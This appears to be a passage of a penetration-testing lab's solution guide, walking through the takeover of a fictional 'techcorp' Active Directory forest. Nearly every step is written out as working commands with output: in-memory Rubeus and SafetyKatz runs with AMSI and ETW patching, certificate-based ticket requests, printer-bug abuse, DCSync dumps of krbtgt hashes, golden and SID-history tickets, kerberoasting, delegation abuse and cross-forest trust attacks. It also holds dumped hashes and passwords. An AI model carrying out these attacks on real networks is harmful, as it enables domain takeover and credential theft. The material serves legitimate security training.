[snip]
[+] Ticket successfully imported!
ServiceName : krbtgt/us.techcorp.local
ServiceRealm : US.TECHCORP.LOCAL
UserName : pawadmin
UserRealm : US.TECHCORP.LOCAL
[snip]
_____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
\_____\___|_| \__|_|_| \__, |
__/ |
|___./
v1.0.0
[*] cert.pem :
We need to convert it to PFX to use it. Use openssl binary on the student VM to do that. I will use
SecretPass@123 as the export password.
Finally, request a TGT for the DA using the certificate and inject in current session!
C:\AD\Tools>echo %Pwn%
asktgt
C:\AD\Tools> C:\AD\Tools\Loader.exe -Path C:\AD\Tools\Rubeus.exe -args %Pwn%
/user:Administrator /certificate:C:\AD\Tools\DA.pfx /password:SecretPass@123
/nowrap /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.6.1
[*] Using PKINIT with etype rc4_hmac and subject: CN=studentuserx, CN=Users,
DC=us, DC=techcorp, DC=local
[*] Building AS-REQ (w/ PKINIT preauth) for:
'us.techcorp.local\Administrator'
[+] TGT request successful!
[*] base64(ticket.kirbi):
doI…
[snip]
Use the following command to request an EA certificate (same command as use previously):
Copy all the text between -----BEGIN RSA PRIVATE KEY----- and -----END
CERTIFICATE----- and save it to cert.pem. We need to convert it to PFX to use it. Use openssl
binary on the student VM to do that. I will use SecretPass@123 as the export password.
Finally, request and inject the EA TGT in the current session. Note that here we specify the user to be
the Enterprise Admin techcorp.local\Administrator:
C:\AD\Tools>echo %Pwn%
asktgt
C:\AD\Tools> C:\AD\Tools\Loader.exe -Path C:\AD\Tools\Rubeus.exe -args %Pwn%
/user:techcorp.local\Administrator /dc:techcorp-dc.techcorp.local
/certificate:C:\AD\Tools\EA.pfx /password:SecretPass@123 /nowrap /ptt
Solution
Recall that we compromised us-web (which has Unconstrained Delegation enabled) in a previous Hands-
on and used the Printer bug to compromise us.techcrop.local.
C:\AD\Tools>echo %Pwn%
asktgt
C:\AD\Tools> C:\AD\Tools\Loader.exe -Path C:\AD\Tools\Rubeus.exe -args %Pwn%
/domain:us.techcorp.local /user:webmaster
/aes256:2a653f166761226eb2e939218f5a34d3d2af005a91f160540da6e4a5e29de8a0
/opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
[snip]
Copy Loader.exe to us-web and execute Rubeus.exe in memory and monitoring for any authentication
from techcorp-dc. Run the below command in process running as webmaster:
C:\Users\webmaster>echo %Pwn%
monitor
C:\Users\webmaster> netsh interface portproxy add v4tov4 listenport=8080
listenaddress=0.0.0.0 connectport=80 connectaddress=192.168.100.X
C:\Users\webmaster> C:\Users\Public\Loader.exe -path
http://127.0.0.1:8080/Rubeus.exe -args %Pwn% /targetuser:TECHCORP-DC$
/interval:5 /nowrap
C:\Users\Public\Loader.exe -path http://127.0.0.1:8080/Rubeus.exe -args %Pwn%
/targetuser:TECHCORP-DC$ /interval:5 /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
v1.6.1
Next, run MS-RPRN.exe on the student VM to abuse the printer bug. Note that this time we target
techcorp-dc:
[snip]
[*] 1/15/2021 7:54:22 AM UTC - Found new TGT:
User : [email protected]
StartTime : 1/14/2021 8:06:19 PM
EndTime : 1/15/2021 6:06:15 AM
RenewTill : 12/31/1969 4:00:00 PM
Flags : name_canonicalize, pre_authent, forwarded,
forwardable
Base64EncodedTicket :
[snip]
We can copy Base64EncodedTicket, remove unnecessary spaces and newline (if any) and use the ticket
with Rubes on the student VM:
v1.6.1
We can now run DCSync attack against TECHCORP-DC using the injected ticket:
[snip]
mimikatz(commandline) # lsadump::dcsync /user:techcorp\krbtgt
/domain:techcorp.local
[DC] 'techcorp.local' will be the domain
[DC] 'Techcorp-DC.techcorp.local' will be the DC server
[DC] 'techcorp\krbtgt' will be the user account
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
** SAM ACCOUNT **
Credentials:
Hash NTLM: 7735b8be1edda5deea6bfbacb7f2c3e7
ntlm- 0: 7735b8be1edda5deea6bfbacb7f2c3e7
lm - 0: 295fa3fef874b54f29fd097c204220f0
* Primary:Kerberos-Newer-Keys *
Default Salt : TECHCORP.LOCALkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) :
290ab2e5a0592c76b7fcc5612ab489e9663e39d2b2306e053c8b09df39afae52
aes128_hmac (4096) : ac670a0db8f81733cdc7ea839187d024
des_cbc_md5 (4096) : 977526ab75ea8691
* Primary:Kerberos *
Default Salt : TECHCORP.LOCALkrbtgt
Credentials
des_cbc_md5 : 977526ab75ea8691
* Packages *
NTLM-Strong-NTOWF
* Primary:WDigest *
01 3d5588c6c4680d76d2ba077526f32a5f
02 fe1ac8183d11d4585d423a0ef1e21354
03 eed2a6a9af2e107cdd5e722faf9ed37a
04 3d5588c6c4680d76d2ba077526f32a5f
05 fe1ac8183d11d4585d423a0ef1e21354
06 a5a3b7dd758f68b0a278704adb369bab
07 3d5588c6c4680d76d2ba077526f32a5f
08 0ef30f135647c7c486081630caf708da
09 0ef30f135647c7c486081630caf708da
10 65974a65a535c47de5c6b6712ffa5c8d
11 fe790227e59a7b92b642884eacb84841
12 0ef30f135647c7c486081630caf708da
13 3c5a73e8774f215ffdd890f5e6346a05
14 fe790227e59a7b92b642884eacb84841
15 752720442d3f869baff615ae37a01d64
16 752720442d3f869baff615ae37a01d64
17 994c18bfe477093681c6b1d60ca56ac9
18 5fdbdb1b61e0717ba72b31741ae7ea19
19 535375d7fc7b3ec068521ac5ab6680d4
20 64d869a620dced95df997d91c5c2ecda
[snip]
Solution
We can find out the machine where Azure AD Connect is installed by looking at the Description of
special account whose name begins with MSOL_.
SamAccountName : MSOL_16fb75d0227d
Description : Account created by Microsoft Azure Active Directory Connect
with installation identifier 16fb75d0227d4957868d5c4ae0688943 running on
computer US-ADCONNECT configured to synchronize to tenant
techcorpus.onmicrosoft.com. This account must have directory replication
permissions in the local Active Directory and write permission on certain
attributes to enable Hybrid Deployment.
Recall that we already have administrative access to us-adconnect as helpdeskadmin. With that access,
we can extract credentials of MSOL_16fb75d0227d account in clear-text. We will use the adconnect.ps1
script for that.
Connect to us-adconnect as helpdeskadmin. Run the below command from an elevated shell on the
student VM to start a cmd.exe as helpdeskadmin:
In the new process, run the following commands to copy InvisiShell on us-adconnect machine and use it:
C:\Windows\system32>echo F | xcopy
C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat \\us-
adconnect\C$\Users\helpdeskadmin\Downloads\RunWithRegistryNonAdmin.bat /Y
Does \\us-
adconnect\C$\Users\helpdeskadmin\Downloads\RunWithRegistryNonAdmin.bat
specify a file name
or directory name on the target
(F = file, D = directory)? F
C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
1 File(s) copied
C:\Users\helpdeskadmin>cd C:\Users\helpdeskadmin\Downloads
cd C:\Users\helpdeskadmin\Downloads
C:\Users\helpdeskadmin\Downloads> RunWithRegistryNonAdmin.bat
[snip]
Now we have a PowerShell session from InvisiShell ready on us-adconnect. Next, host adconnect.ps1 on
a local web server and run the below commands on us-helpdesk to extract credentials of MSOL_
account. Note that we would still need to run an AMSI bypass as the adconnect.ps1 runs a new
PowerShell process when executed:
Domain: techcorp.local
Username: MSOL_16fb75d0227d
Password: 70&n1{p!Mb7K.C)/USO.a{@m*%.+^230@KAc[+sr}iF>Xv{1!{=/}}3B.T8IW-
{)^Wj^zbyOc=Ahi]n=S7K$wAr;sOlb7IFh}!%J.o0}?zQ8]fp&.5w+!!IaRSD@qYf
Now, we can use this password to run DCSync attacks against the target domain (techcorp.local in
present case). Run the below command from an elevated shell on student VM:
Note that the runas command need not be executed from an elevated shell, we did that as SafetyKatz
checks if it is running from a high integrity process even if the command – DCSync – does not need high
integrity process. We can execute the same attack without needing administrator privileges on the
student VM using the below commands:
C:\Windows\system32>C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
PS C:\Windows\system32> . C:\AD\Tools\Invoke-Mimi.ps1
PS C:\Windows\system32> Invoke-Mimi -Command '"lsadump::dcsync
/user:techcorp\administrator /domain:techcorp.local"'
** SAM ACCOUNT **
Credentials:
Hash NTLM: bc4cf9b751d196c4b6e1a2ba923ef33f
ntlm- 0: bc4cf9b751d196c4b6e1a2ba923ef33f
ntlm- 1: c87a64622a487061ab81e51cc711a34b
lm - 0: 6ac43f8c5f2e6ddab0f85e76d711eab8
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : f94f43f24957c86f1a2d359b7585b940
* Primary:Kerberos-Newer-Keys *
Default Salt : TECHCORP.LOCALAdministrator
Default Iterations : 4096
Credentials
aes256_hmac (4096) :
58db3c598315bf030d4f1f07021d364ba9350444e3f391e167938dd998836883
aes128_hmac (4096) : 1470b3ca6afc4146399c177ab08c5d29
des_cbc_md5 (4096) : c198a4545e6d4c94
Solution
We need the trust key, which can be retrieved using the DA privileges.
In the new process, run the following commands. Remember to host SafetyKatz on a local web server.
Note that we are looking for the [In] key for us.techcorp.local to techcrop.local trust:
C:\Windows\system32>C:\AD\Tools\ArgSplit.bat
[!] Argument Limit: 180 characters
[+] Enter a string: lsadump::trust
set "z=t"
set "y=s"
[snip]
Copy the generated commands and use it on the winrs session on us-dc:
C:\Users\Administrator>set "z=t"
[snip]
C:\Users\Administrator>
set "Pwn=%m%%n%%o%%p%%q%%r%%s%%t%%u%%v%%w%%x%%y%%z%"
Let’s Forge a ticket with SID History of Enterprise Admins. Note that the trust key may be different for
your lab and may change over time even in the same lab instance.
Run the below command from an elevated shell on the student VM:
[snip]
[*] Building PAC
[snip]
[*] base64(ticket.kirbi):
doIFyzCCBcegAwIBBaEDAgEWooIEvDCCB...
Copy the base64 encoded ticket from above and use it in the following command:
C:\Windows\system32>echo %Pwn%
asktgs
C:\Windows\system32> C:\AD\Tools\Loader.exe -path C:\AD\Tools\Rubeus.exe -args
%Pwn% /service:CIFS/techcorp-dc.TECHCORP.LOCAL /dc:techcorp-dc.TECHCORP.LOCAL
/ptt /ticket:doIFyzCCBcegAw...
[snip]
Check if the ticket is granted:
C:\Windows\system32>klist
Finally, let's access the filesystem on techcorp-dc. Run the below command from the command prompt
where TGS is injected:
C:\Windows\system32>dir \\techcorp-dc.TECHCORP.LOCAL\c$
Volume in drive \\techcorp-dc.TECHCORP.LOCAL\c$ has no label.
Volume Serial Number is 88AD-6C8B
Directory of \\techcorp-dc.TECHCORP.LOCAL\c$
Solution
We already have the krbtgt hash of us.techcorp.local. Let's create the inter-realm TGT and inject. Run
the below command from an elevated shell on the student VM:
C:\Windows\system32>echo %Pwn%
golden
C:\Windows\system32> C:\AD\Tools\Loader.exe -Path C:\AD\Tools\Rubeus.exe -args
%Pwn% /user:Administrator /id:500 /domain:us.techcorp.local /sid:S-1-5-21-
210670787-2521448726-163245708 /groups:513 /sids:S-1-5-21-2781415573-
3701854478-2406986946-519
/aes256:5E3D2096ABB01469A3B0350962B0C65CEDBBC611C5EAC6F3EF6FC1FFA58CACD5 /ptt
[snip]
[*] Building PAC
[snip]
[+] Ticket successfully imported!
C:\Windows\system32>klist
Current LogonId is 0:0x531ae90
Cached Tickets: (1)
C:\Windows\system32>dir \\techcorp-dc.techcorp.local\c$
Volume in drive \\techcorp-dc.techcorp.local\c$ has no label.
Volume Serial Number is 88AD-6C8B
Directory of \\techcorp-dc.techcorp.local\c$
Solution
Using the Active Directory module, enumerate any service account with SPN in all the trusts of
our current forest:
C:\AD\Tools>C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
[snip]
PS C:\AD\Tools> Import-Module C:\AD\Tools\ADModule-
master\Microsoft.ActiveDirectory.Management.dll
PS C:\AD\Tools> Import-Module C:\AD\Tools\ADModule-
master\ActiveDirectory\ActiveDirectory.psd1
PS C:\AD\Tools> Get-ADTrust -Filter 'IntraForest -ne $true' | %{Get-ADUser -
Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName -
Server $_.Name}
[snip]
DistinguishedName : CN=storagesvc,CN=Users,DC=eu,DC=local
Enabled : True
GivenName : storage
Name : storagesvc
ObjectClass : user
ObjectGUID : 041fedb0-a442-4cdf-af34-6559480a2d74
SamAccountName : storagesvc
ServicePrincipalName : {MSSQLSvc/eu-file.eu.local}
SID : S-1-5-21-3657428294-2017276338-1274645009-1106
Surname : svc
UserPrincipalName : storagesvc
C:\Users\studentuserx>echo %Pwn%
kerberoast
C:\Users\studentuserx>C:\AD\Tools\Loader.exe -Path C:\AD\Tools\Rubeus.exe -
args %Pwn% /user:storagesvc /simple /domain:eu.local
/outfile:C:\AD\Tools\euhashes.txt
[+] Successfully unhooked ETW!
[+] Successfully patched AMSI!
[+] URL/PATH : C:\AD\Tools\Rubeus.exe Arguments : kerberoast /user:storagesvc
/simple /domain:eu.local /outfile:C:\AD\Tools\euhashes.txt
[snip]
C:\AD\Tools>klist
#3> Client: studentuserx @ US.TECHCORP.LOCAL
Server: MSSQLSvc/eu-file.eu.local @ EU.LOCAL
KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
Ticket Flags 0x40210000 -> forwardable pre_authent name_canonicalize
Start Time: 1/15/2021 4:32:32 (local)
End Time: 1/15/2021 14:29:35 (local)
Renew Time: 0
Session Key Type: RSADSI RC4-HMAC(NT)
Cache Flags: 0x200 -> DISABLE-TGT-DELEGATION
Kdc Called: EU-DC.eu.local
Solution
To enumerate users with constrained delegation we can use the ActiveDirectory module:
C:\AD\Tools>C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
[snip]
PS C:\AD\Tools> Import-Module C:\AD\Tools\ADModule-
master\Microsoft.ActiveDirectory.Management.dll
PS C:\AD\Tools> Import-Module C:\AD\Tools\ADModule-
master\ActiveDirectory\ActiveDirectory.psd1
PS C:\AD\Tools> Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -
Properties msDS-AllowedToDelegateTo -Server eu.local
DistinguishedName : CN=storagesvc,CN=Users,DC=eu,DC=local
msDS-AllowedToDelegateTo : {time/EU-DC.eu.local/eu.local, time/EU-
DC.eu.local, time/EU-DC, time/EU-DC.eu.local/EU...}
Name : storagesvc
ObjectClass : user
ObjectGUID : 041fedb0-a442-4cdf-af34-6559480a2d74
[snip]
Now, to be able to abuse Constrained Delegation that storagesvc user has on eu-dc we need either
password or NTLM hash of it. We already cracked storagesvc's password in cleartext using Kerberos. Use
the below commands from the student VM:
C:\Users\studentuserx>echo %Pwn%
hash
C:\Users\studentuserx> C:\AD\Tools\Loader.exe -Path C:\AD\Tools\Rubeus.exe -
args %Pwn% /password:Qwerty@123 /user:storagesvc /domain:eu.local
[snip]
Now we have the NTLM key of storagesvc. Run the below command from an elevated command prompt
as SafetyKatz, that we will use for DCSync, would need that
C:\Windows\system32>echo %Pwn%
s4u
C:\Windows\system32>C:\AD\Tools\Loader.exe -Path C:\AD\Tools\Rubeus.exe -args
%Pwn% /user:storagesvc /rc4:5C76877A9C454CDED58807C20C20AEAC
/impersonateuser:Administrator /domain:eu.local /msdsspn:nmagent/eu-
dc.eu.local /altservice:ldap /dc:eu-dc.eu.local /ptt
[snip]
C:\Windows\system32>klist
Note that we requested an alternate ticket for the LDAP service. Since we are impersonating the domain
administrator of eu.local by abusing constrained delegation, we should now be able to run the DCSync
attack against eu.local:
C:\Windows\system32>echo %Pwn%
lsadump::dcsync
C:\Windows\system32>C:\AD\Tools\Loader.exe -Path C:\AD\Tools\SafetyKatz.exe -
args "%Pwn% /user:eu\krbtgt /domain:eu.local" "exit"
[+] Successfully unhooked ETW!
[+] Successfully patched AMSI!
[+] URL/PATH : C:\AD\Tools\SafetyKatz.exe Arguments : lsadump::dcsync
/user:eu\krbtgt /domain:eu.local exit
[snip]
** SAM ACCOUNT **
SAM Username : krbtgt
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration :
Password last change : 7/12/2019 10:00:04 PM
Object Security ID : S-1-5-21-3657428294-2017276338-1274645009-502
Object Relative ID : 502
Credentials:
Hash NTLM: 83ac1bab3e98ce6ed70c9d5841341538
ntlm- 0: 83ac1bab3e98ce6ed70c9d5841341538
lm - 0: bcb73c3d2b4005e405ff7399f3ca2bf0
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : a0c1c86edafc0218a106426f2309bafd
* Primary:Kerberos-Newer-Keys *
Default Salt : EU.LOCALkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) :
b3b88f9288b08707eab6d561fefe286c178359bda4d9ed9ea5cb2bd28540075d
aes128_hmac (4096) : e2ef89cdbd94d396f63c9aa5b66e16c7
des_cbc_md5 (4096) : 92371fe32c9ba208
[snip]
mimikatz(commandline) # exit
Bye!
Solution
If TGT Delegation is enabled across forests trusts, we can abuse the printer bug across two-way forest
trusts as well. This hands-on is kept separate from the previous ones because the impact is very high!
The commands included are the same!
C:\Windows\system32>echo %Pwn%
asktgt
C:\Windows\system32> C:\AD\Tools\Loader.exe -Path C:\AD\Tools\Rubeus.exe -args
%Pwn% /user:webmaster
/aes256:2a653f166761226eb2e939218f5a34d3d2af005a91f160540da6e4a5e29de8a0
/opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
[snip]
Copy Loader.exe to us-web to download and execute Rubeus in the memory and start monitoring for
any authentication from usvendor-dc. Run the below command in process running as webmaster:
v1.6.1
Next, run MS-RPRN.exe on the student VM to abuse the printer bug. Note that this time we target
usvendor-dc:
[snip]
[*] 1/15/2021 2:09:34 PM UTC - Found new TGT:
User : [email protected]
StartTime : 1/15/2021 6:08:09 AM
EndTime : 1/15/2021 4:08:07 PM
RenewTill : 12/31/1969 4:00:00 PM
Flags : name_canonicalize, pre_authent, forwarded,
forwardable
Base64EncodedTicket : [snip]
^C
We can copy Base64EncodedTicket, remove unnecessary spaces and newline (if any) and use the ticket
with Rubeus on the student VM:
v1.6.1
We can now run DCSync attack against usvendor-dc using the injected ticket:
C:\Windows\system32>echo %Pwn%
lsadump::dcsync
C:\Windows\system32>C:\AD\Tools\Loader.exe -Path C:\AD\Tools\SafetyKatz.exe -
args "%Pwn% /user:usvendor\krbtgt /domain:usvendor.local" "exit"
[snip]
mimikatz(commandline) # lsadump::dcsync /user:usvendor\krbtgt
/domain:usvendor.local
[DC] 'usvendor.local' will be the domain
[DC] 'USVendor-DC.usvendor.local' will be the DC server
[DC] 'usvendor\krbtgt' will be the user account
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
** SAM ACCOUNT **
Credentials:
Hash NTLM: 335caf1a29240a5dd318f79b6deaf03f
ntlm- 0: 335caf1a29240a5dd318f79b6deaf03f
lm - 0: f3e8466294404a3eef79097e975bda3b
Supplemental Credentials:
* Primary:Kerberos-Newer-Keys *
Default Salt : USVENDOR.LOCALkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) :
2b0b8bf77286337369f38d1d72d3705fda18496989ab1133b401821684127a79
aes128_hmac (4096) : 71995c47735a10ea4a107bfe2bf38cb6
des_cbc_md5 (4096) : 982c3125f116b901
* Primary:Kerberos *
Default Salt : USVENDOR.LOCALkrbtgt
Credentials
des_cbc_md5 : 982c3125f116b901
* Packages *
NTLM-Strong-NTOWF
* Primary:WDigest *
01 99585c6025e58e1ac33c85f8a9ff8d18
02 c8dd05c8afc5d2b401e42ee135e7322f
03 b8ada0a86cd88445cea44dc839be89e2
04 99585c6025e58e1ac33c85f8a9ff8d18
05 c8dd05c8afc5d2b401e42ee135e7322f
06 f1a9058fe1f96297d9358a6ee70f3d0a
07 99585c6025e58e1ac33c85f8a9ff8d18
08 3e9f24f6600eb0613abf6a827e1579b4
[snip]
mimikatz(commandline) # exit
Bye!
Solution
We have DA access on the eu.local forest that has a trust relationship with euvendor.local. Let's use the
trust key between eu.local and euvendor.local. We can extract the trust key using a Golden ticket (or
Administrator keys) for eu.local.
C:\Windows\system32>echo %Pwn%
golden
C:\Windows\system32>C:\AD\Tools\Loader.exe -Path C:\AD\Tools\Rubeus.exe -args
%Pwn% /user:Administrator /domain:eu.local /sid:S-1-5-21-3657428294-
2017276338-1274645009
/aes256:b3b88f9288b08707eab6d561fefe286c178359bda4d9ed9ea5cb2bd28540075d /ptt
[+] Successfully unhooked ETW!
[+] Successfully patched AMSI!
[snip]
[+] Ticket successfully imported!
Now, we will copy the Loader.exe to run SafetyKatz.exe from memory to extract trust keys. Remember
to host SafetyKatz.exe on a local web server on your Student VM.
C:\Windows\system32>echo F | xcopy C:\AD\Tools\Loader.exe \\eu-
dc.eu.local\C$\Users\Public\Loader.exe /Y
[snip]
C:\Windows\system32>winrs -r:eu-dc.eu.local cmd
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\AD\Tools>C:\AD\Tools\ArgSplit.bat
[!] Argument Limit: 180 characters
[+] Enter a string: lsadump::dcsync
set "z=c"
[snip]
C:\Users\Administrator>echo %Pwn%
echo %Pwn%
lsadump::dcsync
C:\Users\Administrator>C:\Users\Public\Loader.exe -path
http://127.0.0.1:8080/SafetyKatz.exe -args "%Pwn% /user:eu\euvendor$
/domain:eu.local" "exit"
C:\Users\Public\Loader.exe -path http://127.0.0.1:8080/SafetyKatz.exe -args
"%Pwn% /user:eu\euvendor$ /domain:eu.local" "exit"
[*] Applying amsi patch: true
[*] Applying etw patch: true
[*] Decrypting packed exe...
[!] ~Flangvik - Arno0x0x Edition - #NetLoader
[+] Patched!
[+] Starting http://127.0.0.1:8080/SafetyKatz.exe with args 'lsadump::dcsync
/user:eu\euvendor$ /domain:eu.local exit'
** SAM ACCOUNT **
Credentials:
Hash NTLM: b96659c7b2109d2e63e6de676d48646c
[snip]
Supplemental Credentials:
Now, forge an inter-realm TGT between eu.local and euvendor.local. We need to run the following
commands from eu-dc:
C:\Users\Administrator>echo %Pwn%
silver
C:\Users\Administrator>C:\Users\Public\Loader.exe -path
http://127.0.0.1:8080/Rubeus.exe -args %Pwn% /user:Administrator /ldap
/service:krbtgt/eu.local /rc4:b96659c7b2109d2e63e6de676d48646c /sid:S-1-5-21-
3657428294-2017276338-1274645009 /nowrap
C:\Users\Public\Loader.exe -path http://127.0.0.1:8080/Rubeus.exe -args %Pwn%
/user:Administrator /ldap /service:krbtgt/eu.local
/rc4:b96659c7b2109d2e63e6de676d48646c /sid:S-1-5-21-3657428294-2017276338-
1274645009 /nowrap
[*] Applying amsi patch: true
[*] Applying etw patch: true
[*] Decrypting packed exe...
[!] ~Flangvik - Arno0x0x Edition - #NetLoader
[+] Patched!
[snip]
[*] base64(ticket.kirbi):
doIFEzCCBQ+gAwIBBaEDAgEWo...
So, we have base64 encoded ticket. Let's inject it in our winrs session:
C:\Users\Administrator>echo %Pwn%
asktgs
C:\Users\Administrator>C:\Users\Public\Loader.exe -path
http://127.0.0.1:8080/Rubeus.exe -args %Pwn% /service:CIFS/euvendor-
dc.euvendor.local /dc:euvendor-dc.euvendor.local /ptt /ticket:doIFEzCCBQ...
[snip]
ServiceName : CIFS/euvendor-dc.euvendor.local
ServiceRealm : EUVENDOR.LOCAL
UserName : Administrator
UserRealm : EU.LOCAL
StartTime : 2/29/2024 11:12:19 PM
EndTime : 3/1/2024 9:11:21 AM
RenewTill : 3/7/2024 11:11:21 PM
Flags : name_canonicalize, ok_as_delegate, pre_authent,
renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : jqqlvrwZWpBeq5ucHBib4FXWVESdY2UNnDsaJexrI/8=
Check for the ticket:
C:\Users\Administrator>klist
klist
[snip]
#2> Client: Administrator @ EU.LOCAL
Server: CIFS/euvendor-dc.euvendor.local @ EUVENDOR.LOCAL
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40a50000 -> forwardable renewable pre_authent
ok_as_delegate name_canonicalize
Start Time: 2/29/2024 23:12:19 (local)
End Time: 3/1/2024 9:11:21 (local)
Renew Time: 3/7/2024 23:11:21 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0
Kdc Called:
C:\Users\Administrator>dir \\euvendor-dc.euvendor.local\eushare
dir \\euvendor-dc.euvendor.local\eushare
Volume in drive \\euvendor-dc.euvendor.local\eushare has no label.
Volume Serial Number is 88AD-6C8B
Directory of \\euvendor-dc.euvendor.local\eushare
C:\Users\Administrator>type \\euvendor-dc.euvendor.local\eushare\shared.txt
type \\euvendor-dc.euvendor.local\eushare\shared.txt
Shared with Domain Admins of eu.local
Note that we could use PowerShell Remoting too in place of winrs in the above steps.
Run the below commands on the command prompt where we injected the Golden ticket for
administrator of eu.local to copy and run InvisiShell:
C:\Windows\system32>echo F | xcopy
C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat \\eu-
dc.eu.local\C$\Users\Public\RunWithRegistryNonAdmin.bat /Y
[snip]
C:\Windows\system32>winrs -r:eu-dc.eu.local cmd
Microsoft Windows [Version 10.0.17763.1613]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\Administrator>C:\Users\Public\RunWithRegistryNonAdmin.bat
[snip]
With InvisiShell set up on eu-dc, We can now use the Active Directory module. Since we are on a domain
controller, the module will be already present.
Check if there are any groups with SID>1000 in euvendor.local that we can impersonate to avoid
SIDFiltering:
[snip]
DistinguishedName : CN=EUAdmins,CN=Users,DC=euvendor,DC=local
GroupCategory : Security
GroupScope : Global
Name : EUAdmins
ObjectClass : group
ObjectGUID : 1dad0633-fcf5-49dc-9431-8b167cf36969
SamAccountName : euadmins
SID : S-1-5-21-4066061358-3942393892-617142613-1103
PS C:\Users\Administrator> exit
exit
C:\Users\Administrator>set COR_ENABLE_PROFILING=
Let's create an inter-realm ticket between eu.local and euvendor.local. We will inject the SID History for
the EUAdmins group as that is allowed across the trust:
C:\Users\Administrator>echo %Pwn%
echo %Pwn%
silver
C:\Users\Administrator> C:\Users\Public\Loader.exe -path
http://127.0.0.1:8080/Rubeus.exe -args %Pwn% /user:Administrator /ldap
/service:krbtgt/eu.local /rc4:b96659c7b2109d2e63e6de676d48646c /sids:S-1-5-
21-4066061358-3942393892-617142613-1103 /nowrap
[*] Applying amsi patch: true
[*] Applying etw patch: true
[*] Decrypting packed exe...
[!] ~Flangvik - Arno0x0x Edition - #NetLoader
[+] Patched!
[+] Starting http://127.0.0.1:8080/Rubeus.exe with args 'silver
/user:Administrator /ldap /service:krbtgt/eu.local
/rc4:b96659c7b2109d2e63e6de676d48646c /sids:S-1-5-21-4066061358-3942393892-
617142613-1103 /nowrap'
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.1
[snip]
[*] Building PAC
[*] base64(ticket.kirbi):
doIFOzCCBTegAwIBBaEDAgEWo...
Using the inter-realm TGT that we created above, let's request a TGS for HTTP on euvendor-net
machine:
C:\Users\Administrator>echo %Pwn%
echo %Pwn%
asktgs
C:\Users\Administrator> C:\Users\Public\Loader.exe -path
http://127.0.0.1:8080/Rubeus.exe -args %Pwn% /service:http/euvendor-
net.euvendor.local /dc:euvendor-dc.euvendor.local /ptt /ticket:doIFOzCCBT...
[*] Applying amsi patch: true
[*] Applying etw patch: true
[*] Decrypting packed exe...
[!] ~Flangvik - Arno0x0x Edition - #NetLoader
[+] Patched!
[+] Starting http://127.0.0.1:8080/Rubeus.exe with args 'asktgs
/service:http/euvendor-net.euvendor.local /dc:euvendor-dc.euvendor.local /ptt
/ticket:doIFOzCCBT...
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.1
C:\Users\Administrator.EU>set username
set username
USERNAME=Administrator
C:\Users\Administrator.EU>set computername
set computername
COMPUTERNAME=EUVENDOR-NET
C:\Users\Administrator.EU>whoami /groups
whoami /groups
GROUP INFORMATION
-----------------
Solution
Let’s first enumerate database links on all the sql servers, we just need public access on for that. Let’s
see if studentuserx has that access on any database in the domain. We will use PowerUpSQL for this
from InvisiShell:
ComputerName : us-mssql.us.techcorp.local
Instance : US-MSSQL
DomainName : US
ServiceProcessID : 3032
ServiceName : MSSQLSERVER
ServiceAccount : US\dbservice
AuthenticationMode : Windows and SQL Server Authentication
ForcedEncryption : 0
Clustered : No
SQLServerVersionNumber : 14.0.1000.169
SQLServerMajorVersion : 2017
SQLServerEdition : Developer Edition (64-bit)
SQLServerServicePack : RTM
OSArchitecture : X64
OsVersionNumber : SQL
Currentlogin : US\studentuserx
IsSysadmin : No
ActiveSessions : 1
So we have non-sysadmin access to us-mssql. Let's enumerate database links for us-mssql:
[snip]
ComputerName : us-mssql.us.techcorp.local
Instance : us-mssql.us.techcorp.local
DatabaseLinkId : 1
DatabaseLinkName : 192.168.23.25
DatabaseLinkLocation : Remote
Product : SQL Server
So, there is a database link to a SQL Server from us-mssql server. Using HeidiSQL client, let’s login to us-
mssql using windows authentication of studentuserx. Once logged-in, use openquery to enumerate
linked databases:
